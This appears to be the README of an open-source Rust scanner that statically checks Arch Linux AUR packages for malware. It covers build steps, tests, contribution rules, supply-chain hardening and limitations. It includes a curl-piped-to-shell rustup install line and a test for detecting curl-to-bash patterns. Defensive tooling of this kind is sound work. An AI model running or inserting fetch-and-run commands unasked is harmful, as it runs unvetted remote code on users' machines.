- Arch Linux (or Arch-based distribution)
- Rust 1.70+ (for building)
pacman(for system audit feature)
# Install Rust via rustup
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
# Ensure cargo is in PATH
source ~/.cargo/env# Clone repository
git clone https://github.com/KiefStudioMA/ks-aur-scanner.git
cd ks-aur-scanner
# Build release version (optimized)
cargo build --release
# Binaries are in target/release/
ls -la target/release/aur-scan*# Debug build (faster compilation, slower runtime)
cargo build
# Release build with full optimizations
cargo build --release
# Check for errors without building
cargo check
# Build with all warnings as errors
RUSTFLAGS="-D warnings" cargo build# Run all tests
cargo test
# Run tests with output
cargo test -- --nocapture
# Run specific test
cargo test test_detect_curl_bash
# Run clippy lints
cargo clippy
# Check formatting
cargo fmt --checkThe test suite includes:
- Unit tests for parser, rule matching, and analyzers
- Integration tests with fixture PKGBUILDs
- Malicious pattern detection tests
- False positive prevention tests
- AUR API client tests
This software is licensed under the GNU General Public License v3.0 or later (GPL-3.0-or-later).
You are free to use, modify, and distribute this software under the terms of the GPL-3.0. See the LICENSE file for the complete license text.
Commercial use is permitted under the GPL-3.0 license. However, commercial users are kindly requested to:
- Provide attribution to Kief Studio with a do-follow link to https://kief.studio
- Consider supporting continued development of this project
This attribution request is not a legal requirement but is appreciated and helps sustain open source security tooling for the Arch community.
For commercial support, custom development, or enterprise licensing inquiries:
- Website: https://kief.studio
- Email: packages@kief.studio
This is a security tool a lot of people now rely on, and it shouldn't depend on
one person. Contributors are genuinely welcome — the whole point of the
auditable detection catalog and the community
rules.d/ format is so anyone can extend it without
touching the core.
Good places to start (look for good first issue):
- Detection rules — patterns for emerging threats, as a community TOML rule or a built-in
- False-positive fixes — tighten a pattern that cries wolf (like the
chmod 755one we fixed in 1.0.2) - AUR-helper integrations — more shells/helpers (fish was added by a contributor in 1.0.3)
- Docs, tests, fixtures
Read CONTRIBUTING.md first — it spells out the bar. The short version, because this is a security tool and the bar does not move:
- Static-only is a hard invariant. The scanner must never execute, source, or fetch-and-run a package it inspects. PRs that breach this are rejected on principle.
- Every detection code lives in the auditable catalog and is covered by the uniqueness/coverage tests — no orphan rules.
- Tests +
cargo clippy(no warnings) +cargo fmtare required. New behavior needs new tests. - No change may weaken an existing security check to make something simpler or faster.
mainrequires signed, reviewed commits (enforced by a branch ruleset). Every change is reviewed before it lands; merges are GPG-signed. See CONTRIBUTING.md for how that works with your fork.
See SECURITY.md for the full policy and threat model.
Report privately — do not open a public issue:
- Email: security@kief.studio (or use GitHub's Report a vulnerability button)
A security tool has to be trustworthy end-to-end, so the supply chain around it is hardened too:
- The scanner is static-only — it reads PKGBUILDs and install scripts; it never executes, sources, or fetches-and-runs the package it inspects. The scan cannot compromise the machine doing the scanning.
- Releases are GPG-signed. Tags are signed, and the tagged AUR packages verify the signature (
validpgpkeys) instead of trusting a tarball hash. Verify withgit verify-tag v<version>. mainand release tags are protected by a branch ruleset: signed commits required, no force-push, no deletion. Every change is reviewed.- One auditable catalog. Every detection code is indexed and uniqueness-tested, so what the tool can flag is always reviewable (
aur-scan codes).
- Static analysis cannot catch every novel or heavily-obfuscated attack
- Sandboxed dynamic analysis is out of scope by design (that's what keeps it safe to run)
- For critical systems, still review PKGBUILDs yourself — this is defense-in-depth, not a guarantee
Developed by Kief Studio
This project was created to address a critical gap in the Arch Linux security ecosystem. Special thanks to the security researchers who documented the attacks that informed our detection rules.
Built by the community, not just us. Thank you:
- @Disklo (Rafael Lucio) — fixed a false-negative in
aur-scan checkand added the fish shell integration (#4, 1.0.3) - @SuitablyMysterious — contributed the June 2026 "Atomic Arch" malware package list now in the IOC database (#3), and originated the idea of VirusTotal + abuse.ch/URLhaus threat-intelligence checks (#9). That feature ships reimplemented from scratch with fully isolated network egress, but the direction was theirs.
Some of the above were brought in by cherry-pick rather than the merge button — the work landed and the credit stands the same.
Issue reports that shaped releases:
- @LunarEclipse363 — #2: detecting third-party package-manager calls in install hooks, which shaped the install-hook detection (
ATOMIC-002) - @zebulon2 — #10: reported the obfuscated
bun installpayload class the anti-evasion hardening targets - @nikoraasu — #12: diagnosed that the shell wrapper only gated
-S-style operations, shaping the operation classifier and broader AUR-helper coverage
Sent a PR? Add yourself here. See the full list on the contributors page.
- Arch Linux Security Advisory regarding 2018 AUR malware
- CHAOS RAT analysis (July 2025)
- CWE (Common Weakness Enumeration) database
- OWASP guidelines for code injection prevention
This tool provides an additional layer of security but does not guarantee complete protection.
- Static analysis cannot detect all forms of malicious behavior
- Obfuscated or novel attack patterns may evade detection
- False positives may occur; always verify findings
- This tool supplements but does not replace manual PKGBUILD review
The AUR is an inherently trust-based system where users are expected to verify package contents before installation. This scanner is a defense-in-depth measure, not a security guarantee.
Use at your own risk. The authors are not responsible for any damage caused by malicious packages, whether detected or not.
- AUR Package: aur-scanner (stable, recommended) — also
aur-scanner-rc(release candidate) andaur-scanner-git(rolling) - Docs: https://aur-scanner.kief.studio
- Repository: https://github.com/KiefStudioMA/ks-aur-scanner
- Crates.io: aur-scanner-core
- Homepage: https://kief.studio
- Issues: https://github.com/KiefStudioMA/ks-aur-scanner/issues
- License: GPL-3.0-or-later